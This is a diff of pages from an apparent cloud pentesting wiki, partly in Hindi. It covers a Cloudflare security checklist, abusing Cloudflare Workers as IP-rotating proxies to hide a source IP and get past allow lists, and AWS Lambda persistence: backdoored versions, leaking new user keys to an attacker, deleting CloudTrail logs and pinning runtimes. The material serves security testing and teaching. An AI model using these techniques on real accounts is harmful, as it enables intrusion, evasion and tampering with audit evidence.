diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 0fb5c2347..bf23caa6d 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -1,12 +1,12 @@ -# Cloudflare सुरक्षा +# Cloudflare Security {{#include ../../banners/hacktricks-training.md}} -Cloudflare खाते में कुछ **सामान्य सेटिंग्स और सेवाएँ** हैं जिन्हें कॉन्फ़िगर किया जा सकता है। इस पृष्ठ पर हम प्रत्येक अनुभाग की **सुरक्षा संबंधित सेटिंग्स का विश्लेषण करेंगे:** +In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
-## वेबसाइट्स +## Websites Review each with: @@ -14,9 +14,9 @@ Review each with: cloudflare-domains.md {{#endref}} -### डोमेन पंजीकरण +### Domain Registration -- [ ] In **`Transfer Domains`** सुनिश्चित करें कि किसी भी डोमेन का ट्रांसफर करना संभव न हो। +- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain. Review each with: @@ -24,35 +24,35 @@ Review each with: cloudflare-domains.md {{#endref}} -## एनालिटिक्स +## Analytics -_कॉन्फ़िगरेशन सुरक्षा समीक्षा के लिए जांचने योग्य कुछ नहीं मिला._ +_I couldn't find anything to check for a config security review._ ## Pages -प्रत्येक Cloudflare Page पर: +On each Cloudflare's page: -- [ ] **`Build log`** में **संवेदनशील जानकारी** के लिए जांच करें। -- [ ] Pages को असाइन किए गए **Github repository** में **संवेदनशील जानकारी** की जांच करें। -- [ ] संभावित Github repo compromise की जांच करें via **workflow command injection** या `pull_request_target` compromise. अधिक जानकारी के लिए [**Github Security page**](../github-security/index.html) देखें। -- [ ] `/fuctions` directory में **vulnerable functions** की जांच करें (यदि कोई), `_redirects` फ़ाइल में **redirects** की जांच करें (यदि कोई) और `_headers` फ़ाइल में **misconfigured headers** की जांच करें (यदि कोई)। -- [ ] यदि आप **code** तक पहुँच सकते हैं तो **blackbox** या **whitebox** के माध्यम से **web page** में **vulnerabilities** के लिए जांच करें। -- [ ] प्रत्येक पृष्ठ के विवरण में `//pages/view/blocklist/settings/functions` देखें। **`Environment variables`** में **संवेदनशील जानकारी** के लिए जांच करें। -- [ ] विवरण पृष्ठ में **build command** और **root directory** की भी जांच करें कि क्या पेज को compromise करने के लिए कोई **potential injections** हैं। +- [ ] Check for **sensitive information** in the **`Build log`**. +- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages. +- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html). +- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any). +- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code** +- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**. +- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page. ## **Workers** -प्रत्येक Cloudflare Worker पर जांच करें: +On each Cloudflare's worker check: -- [ ] ट्रिगर्स: Worker को क्या ट्रिगर करता है? क्या कोई user ऐसा डेटा भेज सकता है जिसे Worker उपयोग करेगा? -- [ ] **`Settings`** में **`Variables`** जो **संवेदनशील जानकारी** रखते हैं, उनकी जांच करें। -- [ ] Worker के **code** की जांच करें और **vulnerabilities** खोजें (विशेषकर उन जगहों पर जहाँ user इनपुट को नियंत्रित कर सकता है)। -- [ ] SSRFs की जांच करें जो उस निर्दिष्ट पेज को return करें जिसे आप नियंत्रित कर सकते हैं। -- [ ] XSSs की जांच करें जो svg image के अंदर JS execute करते हैं। -- [ ] यह संभव है कि Worker अन्य internal services के साथ interact करे। उदाहरण के लिए, एक Worker ऐसा R2 bucket के साथ interact कर सकता है जिसमें इनपुट से प्राप्त information store होती है। उस स्थिति में, यह जांचना आवश्यक होगा कि Worker के पास R2 bucket पर क्या capabilities हैं और इन्हें user input से कैसे abuse किया जा सकता है। +- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker? +- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information** +- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input) +- Check for SSRFs returning the indicated page that you can control +- Check XSSs executing JS inside a svg image +- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input. > [!WARNING] -> डिफ़ॉल्ट रूप से एक **Worker को एक URL दिया जाता है** जैसे `..workers.dev`। user इसे एक **subdomain** पर सेट कर सकता है, लेकिन यदि आप उस **original URL** को जानते हैं तो आप हमेशा उससे access कर सकते हैं। +> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it. For a practical abuse of Workers as pass-through proxies (IP rotation, FireProx-style), check: @@ -62,9 +62,9 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md ## R2 -प्रत्येक R2 bucket पर जांचें: +On each R2 bucket check: -- [ ] **CORS Policy** configure करें। +- [ ] Configure **CORS Policy**. ## Stream @@ -76,8 +76,8 @@ TODO ## Security Center -- [ ] यदि संभव हो, तो **`Security Insights`** **scan** और **`Infrastructure`** **scan** चलाएँ, क्योंकि ये security संबंधी रोचक जानकारी को highlight करेंगे। -- [ ] बस इन जानकारियों को security misconfigurations और रोचक सूचनाओं के लिए जांचें। +- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise. +- [ ] Just **check this information** for security misconfigurations and interesting info ## Turnstile @@ -92,14 +92,14 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — वे मूल रूप से static हैं — वे किसी भी string replacement ऑपरेशन या regular expressions का समर्थन नहीं करते। हालांकि, आप URL redirect parameters configure कर सकते हैं जो उनके URL matching व्यवहार और उनके runtime व्यवहार को प्रभावित करते हैं। +> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior. -- [ ] जाँचें कि redirects के लिए दिए गए **expressions** और **requirements** समझदारी से बने हैं। -- [ ] यह भी जाँचें कि क्या कोई **sensitive hidden endpoints** हैं जिनमें रोचक जानकारी निहित हो। +- [ ] Check that the **expressions** and **requirements** for redirects **make sense**. +- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info. ## Notifications -- [ ] **notifications** की जाँच करें। सुरक्षा के लिए ये notifications सुझाए जाते हैं: +- [ ] Check the **notifications.** These notifications are recommended for security: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -119,19 +119,19 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] सभी **destinations** की जांच करें, क्योंकि webhook URLs में **संवेदनशील जानकारी** (basic http auth) हो सकती है। यह भी सुनिश्चित करें कि webhook URLs **HTTPS** का उपयोग करें। -- [ ] अतिरिक्त जाँच के रूप में, आप किसी तृतीय पक्ष को **Cloudflare notification impersonate** करने की कोशिश कर सकते हैं—शायद आप किसी तरह **inject कुछ खतरनाक** कर पाएं। +- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS** +- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous** -## खाता प्रबंधन +## Manage Account -- [ ] आप **`Billing` -> `Payment info`** में क्रेडिट कार्ड के **last 4 digits**, **expiration** समय और **billing address** देख सकते हैं। -- [ ] आप खाते में उपयोग किए गए **plan type** को **`Billing` -> `Subscriptions`** में देख सकते हैं। -- [ ] **`Members`** में आप खाते के सभी सदस्य और उनकी **role** देख सकते हैं। ध्यान दें कि यदि plan type Enterprise नहीं है, तो केवल 2 roles होते हैं: Administrator और Super Administrator। लेकिन यदि उपयोग किए गए **plan is Enterprise** है, तो [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) का उपयोग least privilege सिद्धांत का पालन करने के लिए किया जा सकता है। -- इसलिए, जहाँ संभव हो **Enterprise plan** का उपयोग करने की सिफ़ारिश की जाती है। -- [ ] Members में यह भी देखा जा सकता है कि किन **members** के पास **2FA enabled** है। **हर** user के पास यह सक्षम होना चाहिए। +- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**. +- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**. +- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle. +- Therefore, whenever possible is **recommended** to use the **Enterprise plan**. +- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled. > [!NOTE] -> ध्यान दें कि सौभाग्य से role **`Administrator`** को memberships प्रबंधित करने की अनुमति नहीं देती (**cannot escalate privs or invite** नए सदस्यों को)। +> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members) ## DDoS Investigation diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md index e05566b25..13ed43389 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md @@ -1,31 +1,31 @@ -# Cloudflare Workers का पास-थ्रू प्रॉक्सी के रूप में दुरुपयोग (IP rotation, FireProx-style) +# Cloudflare Workers का pass-through proxy के रूप में दुरुपयोग (IP rotation, FireProx-style) {{#include ../../banners/hacktricks-training.md}} -Cloudflare Workers को इस तरह डिप्लॉय किया जा सकता है कि वे एक ट्रांसपेरेंट HTTP पास-थ्रू प्रॉक्सी की तरह काम करें जहाँ upstream target URL क्लाइंट द्वारा सप्लाई किया जाता है। अनुरोध Cloudflare के नेटवर्क से बाहर जाते हैं इसलिए target क्लाइंट के बजाय Cloudflare IPs को देखता है। यह AWS API Gateway पर प्रचलित FireProx तकनीक का समकक्ष है, लेकिन यहाँ Cloudflare Workers का उपयोग होता है। +Cloudflare Workers को ऐसे transparent HTTP pass-through proxies के रूप में deploy किया जा सकता है जहाँ upstream target URL client द्वारा प्रदान किया जाता है। Requests Cloudflare के नेटवर्क से बाहर निकलती हैं इसलिए target क्लाइंट के बजाय Cloudflare IPs को देखता है। यह well-known FireProx technique on AWS API Gateway की नकल करता है, लेकिन यहाँ Cloudflare Workers का उपयोग होता है। ### मुख्य क्षमताएँ - सभी HTTP methods का समर्थन (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) -- Target को query parameter (?url=...), एक header (X-Target-URL), या path में एन्कोड किया गया (उदा., /https://target) के माध्यम से दिया जा सकता है -- Headers और body को आवश्यकतानुसार hop-by-hop/header filtering के साथ प्रॉक्सी किया जाता है -- Responses को वापस रिले किया जाता है, status code और अधिकांश headers संरक्षित रहते हैं +- Target query parameter (?url=...), एक header (X-Target-URL), या path में encode करके (उदा., /https://target) प्रदान किया जा सकता है +- Headers और body को जरूरत के अनुसार hop-by-hop/header filtering के साथ proxy किया जाता है +- Responses वापस relay की जाती हैं, status code और अधिकतर headers को preserve करते हुए - X-Forwarded-For का वैकल्पिक spoofing (यदि Worker इसे user-controlled header से सेट करता है) -- कई Worker endpoints डिप्लॉय करके और requests को फैला कर बेहद तेज/आसान rotation +- कई Worker endpoints deploy करके और requests को fan-out करके बेहद तेज़/आसान rotation ### यह कैसे काम करता है (flow) -1) Client एक HTTP request भेजता है Worker URL (`..workers.dev` या किसी custom domain route) पर। -2) Worker target निकालता है या तो query parameter (?url=...), X-Target-URL header, या path segment से (यदि लागू किया गया हो)। -3) Worker incoming method, headers, और body को निर्दिष्ट upstream URL पर फॉरवर्ड करता है (समस्याग्रस्त headers को फ़िल्टर करते हुए)। -4) Upstream response Cloudflare के माध्यम से क्लाइंट को स्ट्रीम किया जाता है; origin Cloudflare egress IPs को देखता है। +1) Client एक HTTP request भेजता है एक Worker URL (`..workers.dev` या एक custom domain route) पर। +2) Worker target निकालता है या तो query parameter (?url=...), X-Target-URL header, या अगर लागू किया गया हो तो path segment से। +3) Worker incoming method, headers, और body को निर्दिष्ट upstream URL पर forward करता है (समस्याग्रस्त headers को filter करते हुए)। +4) Upstream response Cloudflare के माध्यम से client को stream की जाती है; origin Cloudflare के egress IPs देखता है। -### Worker implementation example -- query param, header, या path से target URL पढ़ता है -- headers का एक सुरक्षित subset कॉपी करता है और original method/body को फॉरवर्ड करता है -- वैकल्पिक रूप से X-Forwarded-For सेट करता है user-controlled header (X-My-X-Forwarded-For) या किसी random IP का उपयोग करते हुए -- permissive CORS जोड़ता है और preflight को हैंडल करता है +### Worker implementation का उदाहरण +- Query param, header, या path से target URL पढ़ता है +- headers के सुरक्षित subset को कॉपी करके original method/body forward करता है +- वैकल्पिक रूप से X-Forwarded-For सेट कर सकता है user-controlled header (X-My-X-Forwarded-For) या किसी random IP का उपयोग करके +- permissive CORS जोड़ता है और preflight को handle करता है
-पास-थ्रू प्रॉक्सिंग के लिए उदाहरण Worker (JavaScript) +उदाहरण Worker (JavaScript) — pass-through proxying के लिए ```javascript /** * Minimal Worker pass-through proxy @@ -133,19 +133,19 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1 ```
-### FlareProx के साथ तैनाती और रोटेशन का स्वचालन +### FlareProx के साथ तैनाती और रोटेशन को स्वचालित करना -FlareProx एक Python टूल है जो Cloudflare API का उपयोग करके कई Worker endpoints को deploy करता है और उनके बीच rotate करता है। यह Cloudflare के नेटवर्क से FireProx-like IP rotation प्रदान करता है। +FlareProx एक Python tool है जो Cloudflare API का उपयोग करके कई Worker endpoints तैनात करता है और उनके बीच rotate करता है। यह Cloudflare के नेटवर्क से FireProx-जैसी IP rotation प्रदान करता है। Setup -1) “Edit Cloudflare Workers” टेम्पलेट का उपयोग करके एक Cloudflare API Token बनाएं और dashboard से अपना Account ID प्राप्त करें। -2) FlareProx को कॉन्फ़िगर करें: +1) एक Cloudflare API Token बनाइए “Edit Cloudflare Workers” template का उपयोग करके और dashboard से अपना Account ID प्राप्त करें। +2) FlareProx को configure करें: ```bash git clone https://github.com/MrTurvey/flareprox cd flareprox pip install -r requirements.txt ``` -**flareprox.json config file बनाएं:** +**flareprox.json के लिए कॉन्फ़िग फ़ाइल बनाएं:** ```json { "cloudflare": { @@ -172,7 +172,7 @@ python3 flareprox.py test ```bash python3 flareprox.py cleanup ``` -**Worker के माध्यम से ट्रैफ़िक रूटिंग** +**Worker के माध्यम से ट्रैफ़िक रूट करना** - क्वेरी पैरामीटर फ़ॉर्म: ```bash curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip" @@ -181,7 +181,7 @@ curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip" ```bash curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev ``` -- पथ रूप (यदि लागू किया गया हो): +- पथ रूप (यदि लागू किया गया): ```bash curl https://your-worker.account.workers.dev/https://httpbin.org/ip ``` @@ -204,14 +204,14 @@ curl -X DELETE \ ``` **`X-Forwarded-For` नियंत्रण** -यदि Worker `X-My-X-Forwarded-For` को सम्मान देता है, तो आप upstream `X-Forwarded-For` मान को प्रभावित कर सकते हैं: +यदि Worker `X-My-X-Forwarded-For` का सम्मान करता है, तो आप upstream `X-Forwarded-For` मान को प्रभावित कर सकते हैं: ```bash curl -H "X-My-X-Forwarded-For: 203.0.113.10" \ "https://your-worker.account.workers.dev?url=https://httpbin.org/headers" ``` **प्रोग्रामेटिक उपयोग** -FlareProx लाइब्रेरी का उपयोग करके Python से endpoints create/list/test करें और requests को route करें। +FlareProx लाइब्रेरी का उपयोग करके endpoints बनाएं/लिस्ट/टेस्ट करें और Python से requests को route करें।
Python उदाहरण: किसी random Worker endpoint के माध्यम से POST भेजें @@ -267,17 +267,17 @@ print(f"Request error: {e}") ```
-**Burp/Scanner एकीकरण** -- उपकरणों (उदाहरण के लिए, Burp Suite) को Worker URL पर निर्देशित करें। -- वास्तविक upstream को ?url= या X-Target-URL के माध्यम से प्रदान करें। -- HTTP semantics (methods/headers/body) संरक्षित रहते हैं जबकि आपका source IP Cloudflare के पीछे छिपा रहता है। +**Burp/Scanner integration** +- टूलिंग (उदाहरण के लिए, Burp Suite) को Worker URL की ओर निर्देशित करें। +- वास्तविक upstream को ?url= या X-Target-URL का उपयोग करके प्रदान करें। +- HTTP semantics (methods/headers/body) बनाए रहते हैं जबकि आपका source IP Cloudflare के पीछे छिपाया जाता है। -**संचालन संबंधी नोट्स और सीमाएँ** -- Cloudflare Workers Free plan प्रति खाते लगभग 100,000 requests/day अनुमति देता है; आवश्यकता होने पर ट्रैफ़िक वितरित करने के लिए multiple endpoints का उपयोग करें। -- Workers Cloudflare’s network पर चलते हैं; कई targets केवल Cloudflare IPs/ASN देखेंगे, जो naive IP allow/deny lists या geo heuristics को बायपास कर सकता है। -- जिम्मेदारी से और केवल अनुमति के साथ उपयोग करें। ToS और robots.txt का सम्मान करें। +**Operational notes and limits** +- Cloudflare Workers Free plan प्रति अकाउंट लगभग 100,000 requests/day की अनुमति देता है; आवश्यकता होने पर ट्रैफ़िक वितरित करने के लिए multiple endpoints का उपयोग करें। +- Workers Cloudflare के नेटवर्क पर चलते हैं; कई targets केवल Cloudflare IPs/ASN ही देखेंगे, जो naive IP allow/deny lists या geo heuristics को बाइपास कर सकते हैं। +- जिम्मेदारी से उपयोग करें और केवल authorization के साथ। ToS और robots.txt का सम्मान करें। -## संदर्भ +## References - [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox) - [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/) - [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 9f8c77452..dda49b0b9 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -12,7 +12,7 @@ ### Lambda Layer Persistence -यह संभव है कि एक layer में introduce/backdoor करके arbitrary code चलाया जा सके जब Lambda stealthy तरीके से execute हो: +यह संभव है कि **introduce/backdoor a layer to execute arbitrary code** जब lambda execute होता है और वह स्टील्थी तरीके से: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Lambda Layers का दुरुपयोग करके extensions का भी दुरुपयोग कर lambda में persist करना संभव है, साथ ही requests को steal और modify भी किया जा सकता है। +Lambda Layers का abuse करकेextensions को भी abuse किया जा सकता है और lambda में persist किया जा सकता है, साथ ही requests को steal और modify भी किया जा सकता है। {{#ref}} aws-abusing-lambda-extensions.md @@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md ### Via resource policies -यह संभव है कि external accounts को विभिन्न lambda actions (जैसे invoke या update code) का access दिया जा सके: +यह संभव है कि विभिन्न lambda actions (जैसे invoke या update code) के लिए external accounts को access दिया जाए:
### Versions, Aliases & Weights -एक Lambda के पास **different versions** हो सकते हैं (प्रत्येक version में अलग code)।\ -फिर आप Lambda के लिए **different aliases with different versions** बना सकते हैं और प्रत्येक को अलग weights दे सकते हैं।\ -इस तरह एक attacker एक **backdoored version 1** और एक **version 2 with only the legit code** बना सकता है और stealth बनाए रखने के लिए केवल 1% requests में **version 1** को execute कर सकता है। +A Lambda के पास **different versions** हो सकते हैं (प्रत्येक version में अलग code)।\ +फिर, आप **different aliases with different versions** बना सकते हैं और हर एक को अलग weights दे सकते हैं।\ +इस तरह एक attacker एक **backdoored version 1** बना सकता है और **version 2 with only the legit code** रख सकता है और stealth बनाए रखने के लिए **only execute the version 1 in 1%** of the requests कर सकता है।
### Version Backdoor + API Gateway 1. Lambda का original code copy करें -2. **Create a new version backdooring** the original code (or just with malicious code). Publish और उस version को $LATEST पर **deploy** करें -1. कोड execute करने के लिए उस Lambda से संबंधित API Gateway को कॉल करें +2. **Create a new version backdooring** the original code (or just with malicious code). Publish और **deploy that version** to $LATEST +1. API Gateway को call करें जो lambda से संबंधित है ताकि code execute हो 3. **Create a new version with the original code**, Publish और उस **version** को $LATEST पर deploy करें। -1. यह backdoored code को एक previous version में छिपा देगा -4. API Gateway पर जाएँ और **create a new POST method** (or choose any other method) जो Lambda के backdoored version को execute करेगा: `arn:aws:lambda:us-east-1::function::1` -1. arn के अंतिम :1 को नोट करें जो **function के version** को indicate करता है (इस scenario में version 1 backdoored होगा)। -5. बने हुए POST method को select करें और Actions में **`Deploy API`** चुनें -6. अब, जब आप POST के माध्यम से function को call करेंगे तो आपका Backdoor invoke हो जाएगा +1. यह backdoored code को एक पिछले version में छिपा देगा +4. API Gateway पर जाएं और **create a new POST method** (or choose any other method) जो lambda के backdoored version को execute करेगा: `arn:aws:lambda:us-east-1::function::1` +1. arn के अंतिम :1 पर ध्यान दें — **indicating the version of the function** (इस सीनारियो में version 1 backdoored होगा)। +5. बनाए गए POST method को select करें और Actions में **`Deploy API`** चुनें +6. अब, जब आप **call the function via POST your Backdoor** तो invoke हो जाएगा ### Cron/Event actuator -यह तथ्य कि आप **lambda functions को किसी घटना होने पर या समय बीतने पर चला सकते हैं**, lambda को persistence प्राप्त करने और detection से बचने का एक सामान्य तरीका बनाता है।\ -यहाँ कुछ ideas हैं ताकि आप अपनी **presence in AWS को अधिक stealth बनाएँ lambdas बनाकर**। +यह तथ्य कि आप **lambda functions run when something happen or when some time pass** सकता है, Lambda को persistence हासिल करने और detection से बचने का एक सामान्य तरीका बनाता है।\ +यहाँ कुछ विचार दिए गए हैं जिनसे आप अपनी **presence in AWS more stealth by creating lambdas** बना कर और stealthy रह सकते हैं। -- नए user के बनने पर lambda एक नया user key generate करता है और उसे attacker को भेज देता है। -- नया role बनते ही lambda compromised users को assume role permissions दे देता है। -- नए cloudtrail logs बनते ही उन्हें delete/alter कर दें +- हर बार जब एक नया user बनाया जाता है, lambda एक नया user key generate करता है और उसे attacker को भेज देता है। +- हर बार जब नया role बनाया जाता है, lambda compromised users को assume role permissions दे देता है। +- हर बार नए CloudTrail logs बनते हैं, उन्हें delete/alter कर दें ### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers -रनटाइम/handler शुरू होने से पहले attacker-controlled wrapper script को execute करने के लिए environment variable `AWS_LAMBDA_EXEC_WRAPPER` का दुरुपयोग करें। wrapper को Lambda Layer के माध्यम से `/opt/bin/htwrap` पर deliver करें, सेट करें `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, और फिर function को invoke करें। wrapper function runtime process के अंदर चलता है, function execution role inherit करता है, और अंत में वास्तविक runtime को `exec` करता है ताकि original handler सामान्य तौर पर execute होता रहे। +Environment variable `AWS_LAMBDA_EXEC_WRAPPER` का abuse करके runtime/handler शुरू होने से पहले attacker-controlled wrapper script execute करवाएं। Wrapper को Lambda Layer के माध्यम से `/opt/bin/htwrap` पर पहुंचाएँ, `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` सेट करें, और फिर function invoke करें। Wrapper function runtime process के अंदर चलता है, function execution role inherit करता है, और अंत में real runtime को `exec` करता है ताकि original handler सामान्य रूप से execute हो। {{#ref}} aws-lambda-exec-wrapper-persistence.md @@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md ### AWS - Lambda Function URL Public Exposure -Lambda asynchronous destinations और Recursion configuration का दुरुपयोग करके बिना किसी external scheduler (जैसे EventBridge, cron, आदि) के function को लगातार खुद को re-invoke करवाया जा सकता है। डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate कर देता है, लेकिन recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations async invokes के लिए service side पर deliver करते हैं, इसलिए एक single seed invoke stealthy, code-free heartbeat/backdoor चैनल बना देता है। शोर कम रखने के लिए विकल्प के तौर पर reserved concurrency के साथ throttle करें। +Lambda asynchronous destinations और Recursion configuration का abuse करके आप बिना किसी external scheduler (no EventBridge, cron, आदि) के एक function को लगातार स्वयं को re-invoke करवा सकते हैं। डिफ़ॉल्ट रूप से, Lambda recursive loops को terminate करता है, लेकिन recursion config को Allow पर सेट करने से वे फिर से सक्षम हो जाते हैं। Destinations service side पर async invokes के लिए deliver करते हैं, इसलिए एक single seed invoke एक stealthy, code-free heartbeat/backdoor चैनल बना देता है। शोर कम रखने के लिए वैकल्पिक रूप से reserved concurrency के साथ throttle करें। {{#ref}} aws-lambda-async-self-loop-persistence.md @@ -79,9 +79,9 @@ aws-lambda-async-self-loop-persistence.md ### AWS - Lambda Alias-Scoped Resource Policy Backdoor -attacker logic वाला एक hidden Lambda version बनाएं और उस specific version (या alias) पर resource-based policy scope करें `--qualifier` parameter का उपयोग करके `lambda add-permission` में। attacker principal को केवल `lambda:InvokeFunction` पर `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` का access दें। function name या primary alias के माध्यम से normal invocations अप्रभावित रहते हैं, जबकि attacker सीधे backdoored version ARN को invoke कर सकता है। +attacker logic के साथ एक hidden Lambda version बनाएं और `lambda add-permission` में `--qualifier` parameter का उपयोग करके resource-based policy को उस specific version (या alias) तक scope करें। केवल `lambda:InvokeFunction` को `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` पर एक attacker principal को दें। Function name या primary alias के माध्यम से सामान्य invocations प्रभावित नहीं होते, जबकि attacker सीधे backdoored version ARN को invoke कर सकता है। -यह Function URL को expose करने की तुलना में अधिक stealthy है और primary traffic alias को नहीं बदलता। +यह Function URL को expose करने की तुलना में अधिक stealthier है और primary traffic alias को बदलता नहीं है। {{#ref}} aws-lambda-alias-version-policy-backdoor.md @@ -89,9 +89,9 @@ aws-lambda-alias-version-policy-backdoor.md ### Freezing AWS Lambda Runtimes -यदि किसी attacker के पास lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, और lambda:GetRuntimeManagementConfig permissions हैं, तो वह किसी function की runtime management configuration को बदल सकता है। यह attack विशेष रूप से तब प्रभावी होता है जब लक्ष्य किसी Lambda function को एक vulnerable runtime version पर बनाए रखना हो या malicious layers के साथ compatibility बनाए रखना हो जो नए runtimes के साथ incompatible हो सकते हैं। +जिस attacker के पास lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, और lambda:GetRuntimeManagementConfig permissions हों, वह किसी function की runtime management configuration को modify कर सकता है। यह attack खासकर प्रभावी होता है जब लक्ष्य किसी Lambda function को एक vulnerable runtime version पर बनाए रखना हो या उन malicious layers के साथ compatibility preserve करना हो जो नए runtimes के साथ incompatible हो सकती हैं। -The attacker modifies the runtime management configuration to pin the runtime version: +attacker runtime management configuration को modify करके runtime version को pin कर देता है: ```bash # Invoke the function to generate runtime logs aws lambda invoke \ @@ -107,13 +107,13 @@ aws lambda put-runtime-management-config \ --update-runtime-on FunctionUpdate \ --region us-east-1 ``` -लागू की गई कॉन्फ़िगरेशन की पुष्टि करें: +लागू किए गए कॉन्फ़िगरेशन की जाँच करें: ```bash aws lambda get-runtime-management-config \ --function-name $TARGET_FN \ --region us-east-1 ``` -वैकल्पिक: किसी विशिष्ट runtime संस्करण पर पिन करें +वैकल्पिक: किसी विशिष्ट रनटाइम संस्करण पर पिन करें ```bash # Extract Runtime Version ARN from INIT_START logs RUNTIME_ARN=$(aws logs filter-log-events \ @@ -122,7 +122,7 @@ RUNTIME_ARN=$(aws logs filter-log-events \ --query 'events[0].message' \ --output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4) ``` -किसी विशिष्ट runtime संस्करण पर पिन करें: +विशिष्ट runtime संस्करण पर पिन करें: ```bash aws lambda put-runtime-management-config \ --function-name $TARGET_FN \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md index 1a2aae13a..ae364fcb5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md @@ -11,9 +11,9 @@ {{#endref}} ### `cloudfront:Delete*` -यदि किसी attacker को cloudfront:Delete* अनुमतियाँ दी जाती हैं, तो वह distributions, policies और अन्य महत्वपूर्ण CDN configuration objects को हटा सकता है — उदाहरण के लिए distributions, cache/origin policies, key groups, origin access identities, functions/configs और संबंधित संसाधन। इससे सेवा में बाधा, कंटेंट का नुकसान, और configuration या forensic artifacts के हटाए जाने का खतरा उत्पन्न हो सकता है। +अगर attacker को cloudfront:Delete* का अधिकार दिया गया है, तो वह distributions, policies और 